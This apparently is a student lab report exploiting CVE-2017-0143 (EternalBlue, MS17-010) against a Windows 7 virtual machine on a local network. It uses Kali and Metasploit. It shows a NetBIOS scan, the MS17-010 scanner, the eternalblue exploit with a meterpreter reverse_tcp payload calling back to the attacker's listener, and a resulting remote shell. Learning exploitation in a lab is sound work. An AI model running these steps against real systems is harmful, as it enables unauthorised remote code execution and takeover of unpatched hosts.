

Exploiting CVE-2017-0143

- The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allows remote attackers to execute arbitrary code via crafted packets, aka "Windows SMB Remote Code Execution Vulnerability." This vulnerability is different from those described in CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, and CVE-2017-0148.

- Name : Anshika Saxena
- Roll No. : 23210018

Assumptions



To exploit this vulnerability, we need to locate hosts whose firewalls do not block scanning by tools like NBTScan.



The victim machine's firewall must be disabled. If the firewall is disabled, we can identify such hosts and attempt to exploit them.



The victim host should be within our local area network (LAN).



We will be using Kali Linux as it provides tools like the Metasploit framework, which are very helpful for exploiting the vulnerability.



We are performing this vulnerability in a virtual machine, and to obtain different IP addresses for both guests, we need to configure the network settings to a bridged adapter.

Identification of Victim Host

```
(naveen@naveen)-[~]  
$ nbtscan -r 192.168.1.0/24  
Doing NBT name scan for addresses f  
IP address      NetBIOS Name  S  
-----  
192.168.1.6     <unknown>  
192.168.1.9     NAVEEN-PC    <  
192.168.1.255   Sendto failed: Perm
```

- ▶ To Scan in our local area network we will use a tool called NBTScan to find the IP address of the victim host.
- ▶ Here we can see that there is a host on 192.168.1.9 named NAVEEN-PC, which is present in our local area network.

Scanning the vulnerability

- For scanning the vulnerability in victim host we will be using metasploit's framework's eternalblue tool.

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > optins  
[-] Unknown command: optins. Did you mean options? Run the help command for more details.
```

- Using Auxiliary scanner we will be trying to find details about any vulnerability if it is there.
- For that we need to check the requirements of scanner tools and meet them

Meeting the requirements of Scanner tool

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > options

Module options (auxiliary/scanner/smb/smb_ms17_010):

  Name      Current Setting      Required  Description
  ----      -
  CHECK_ARCH true                  no        Check for architecture on vulnerable hosts
  CHECK_DOPU true                  no        Check for DOUBLEPULSAR on vulnerable hosts
  CHECK_PIPE false                 no        Check for named pipe on vulnerable hosts
  NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes       List of named pipes to check
  RHOSTS      yes                  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT       445                  yes       The SMB service port (TCP)
  SMBDomain   .                    no        The Windows domain to use for authentication
  SMBPass      .                    no        The password for the specified username
  SMBUser      .                    no        The username to authenticate as
  THREADS     1                    yes       The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.9
rhosts => 192.168.1.9
msf6 auxiliary(scanner/smb/smb_ms17_010) >
```

► Here we meet the requirements as rhost(remote host) was required but wasn't set so we set it manually.

Finding the details about vulnerability

- Using scanner we found that the host with IP 192.168.1.9 has vulnerability.

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit
[+] 192.168.1.9:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.1.9:445      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_ms17_010) > 
```

- Here we found that MS17_010 is vulnerability in our host.

Using Exploitation tools and filling requirements

- Using the eternalblue exploitation tool for MS17_010.

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > 
```

- Meeting the requirements

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > options
Module options (exploit/windows/smb/ms17_010_eternalblue):
-----
Name           Current Setting  Required  Description
-----
RHOSTS         192.168.1.9      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT          445              yes       The target port (TCP)
SMBDomain      192.168.1.9      no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass        192.168.1.9      no        (Optional) The password for the specified username
SMBUser        192.168.1.9      no        (Optional) The username to authenticate as
VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):
-----
Name           Current Setting  Required  Description
-----
EXITFUNC       thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST          192.168.1.6      yes       The listen address (an interface may be specified)
LPORT          4444             yes       The listen port

Exploit target:
-----
Id  Name
--  --
0   Automatic Target

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.1.9
rhosts => 192.168.1.9
msf6 exploit(windows/smb/ms17_010_eternalblue) > 
```

Exploiting the vulnerability

- After everything is set up now we will try to exploit this vulnerability using eternalblue's exploitation tool.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.1.6:4444
[*] 192.168.1.9:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.9:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.1.9:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.1.9:445 - The target is vulnerable.
[*] 192.168.1.9:445 - Connecting to target for exploitation.
[+] 192.168.1.9:445 - Connection established for exploitation.
[+] 192.168.1.9:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.9:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.1.9:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] 192.168.1.9:445 - 0x00000010 61 73 69 63 20 37 36 30 31 20 53 65 72 76 69 63 asic 7601 Servic
[*] 192.168.1.9:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1
[+] 192.168.1.9:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.9:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.9:445 - Sending all but last fragment of exploit packet
[*] Sending stage (201798 bytes) to 192.168.1.9
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.9:49161) at 2024-04-25 11:01:12 +0530
[-] 192.168.1.9:445 - RubySMB::Error::CommunicationError: RubySMB::Error::CommunicationError
meterpreter > □
```

- We got the metapreter for host and we have access to that machine.

Varification

- Here we have access to the victim machine and for verification, we can check Ipconfig we can see the IP address is 192.168.1.9 means we have successfully logged in to the victim machine and exploited the vulnerability.

```
meterpreter > shell
Process 1652 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : 
    IPv6 Address. . . . . : 2401:4900:1ca3:41bc:98ef:1b43:b743:6567
    Temporary IPv6 Address. . . . . : 2401:4900:1ca3:41bc:542c:8bf7:a78a:a76
    Link-local IPv6 Address . . . . . : fe80::98ef:1b43:b743:6567%11
    IPv4 Address. . . . . : 192.168.1.9
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : fe80::1%11
                                192.168.1.1

Tunnel adapter isatap.{758820FB-1A19-4B55-B7BA-58F8BCAF8C1F}:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : 

C:\Windows\system32>
```